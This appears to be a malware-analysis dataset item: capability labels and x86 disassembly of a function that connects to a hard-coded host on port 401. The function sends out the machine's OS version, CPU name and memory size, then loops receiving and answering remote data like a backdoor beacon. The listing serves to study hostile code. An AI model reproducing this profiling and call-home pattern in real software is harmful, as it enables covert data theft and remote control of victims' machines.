Function at 0x4024a0
Capabilities:
Act as tcp client
Check os version
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get cpu information
Get memory capacity
Get socket status
Query or enumerate registry value
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40321b
push eax
mov dword fs:[0], esp
sub esp, 0x544
mov ecx, 0x80
xor eax, eax
push ebp
push esi
push edi
lea edi, [esp + 0x350]
push 6
push 1
rep stosd dword es:[edi], eax
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402814
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [esp + 0x10]
push 4
push eax
push 0x1005
mov esi, 0x1770
push 0xffff
push ebp
mov dword [esp + 0x24], esi
call edi
lea ecx, [esp + 0x10]
push 4
push ecx
push 0x1006
push 0xffff
push ebp
mov dword [esp + 0x24], esi
call edi
push 0x191
mov word [esp + 0x20], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x40532c
mov word [esp + 0x22], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [esp + 0x20], eax
jne 0x402582
push 0x40532c
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402814
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea edi, [esp + 0x20]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x1c], ax
lea ecx, [esp + 0x1c]
push 0x10
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x402814
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x54]
lea edx, [esp + 0x50]
mov dword [esp + 0x50], 0x94
push edx
rep stosd dword es:[edi], eax
or esi, 0xffffffff
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [esp + 0x54]
cmp eax, 5
jne 0x402661
mov eax, dword [esp + 0x58]
test eax, eax
jne 0x4025d8
xor esi, esi
jmp 0x40266b
cmp eax, 1
jne 0x402655
lea eax, [esp + 0x64]
lea ecx, [esp + 0xc]
push eax
call fcn.00402fa8
lea ecx, [esp + 0xc]
mov dword [esp + 0x558], 0
call sub.MFC42.DLL_CString::FreeExtra
push str.Service
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40263a
push str.Pack
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40263a
push 0x4051d8
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Find
test eax, eax
mov esi, 2
jge 0x40263f
mov esi, 1
lea ecx, [esp + 0xc]
mov dword [esp + 0x558], 0xffffffff
call sub.MFC42.DLL_CString::CString
jmp 0x40266b
cmp eax, 2
jne 0x40266b
mov esi, 3
jmp 0x40266b
cmp eax, 6
jne 0x40266b
mov esi, 4
lea ecx, [esp + 0x30]
mov dword [esp + 0x30], 0x20
push ecx
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x149]
mov byte [esp + 0x148], 0
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
push edx
push 0xf003f
stosw word es:[edi], ax
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4026f0
lea eax, [esp + 0xc]
lea ecx, [esp + 0x148]
push eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push ecx
push edx
push 0
push str.ProcessorNameString
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x148]
shr eax, 0x14
push ebx
inc eax
push edx
push eax
push esi
lea ecx, [esp + 0xf4]
push str.VERSON:_d_d_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0xfc]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
lea edx, [esp + 0xec]
push ecx
push edx
push ebp
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [sym.imp.WS2_32.dll_select]
lea esi, [ebp + 1]
push 0
push 0
lea eax, [esp + 0x258]
push 0
mov edi, 1
push eax
push esi
mov dword [esp + 0x268], ebp
mov dword [esp + 0x264], edi
call ebx
cmp eax, 0xffffffff
je 0x4027e8
test eax, eax
je 0x4027e8
lea ecx, [esp + 0x250]
push ecx
push ebp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4027c8
push 0
lea edx, [esp + 0x358]
push 0x200
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4027e8
lea eax, [esp + 0x354]
push eax
call fcn.00402000
add esp, 4
test eax, eax
je 0x4027c8
push 0
push 2
push 0x405180
push ebp
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4027e8
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x354]
push 0x1f4
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402745
lea ecx, [esp + 0x1c]
push 4
push ecx
push 0x80
push 0xffff
push ebp
mov word [esp + 0x30], di
mov word [esp + 0x32], 0
call dword [sym.imp.WS2_32.dll_setsockopt]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebx
mov ecx, dword [esp + 0x550]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x550
ret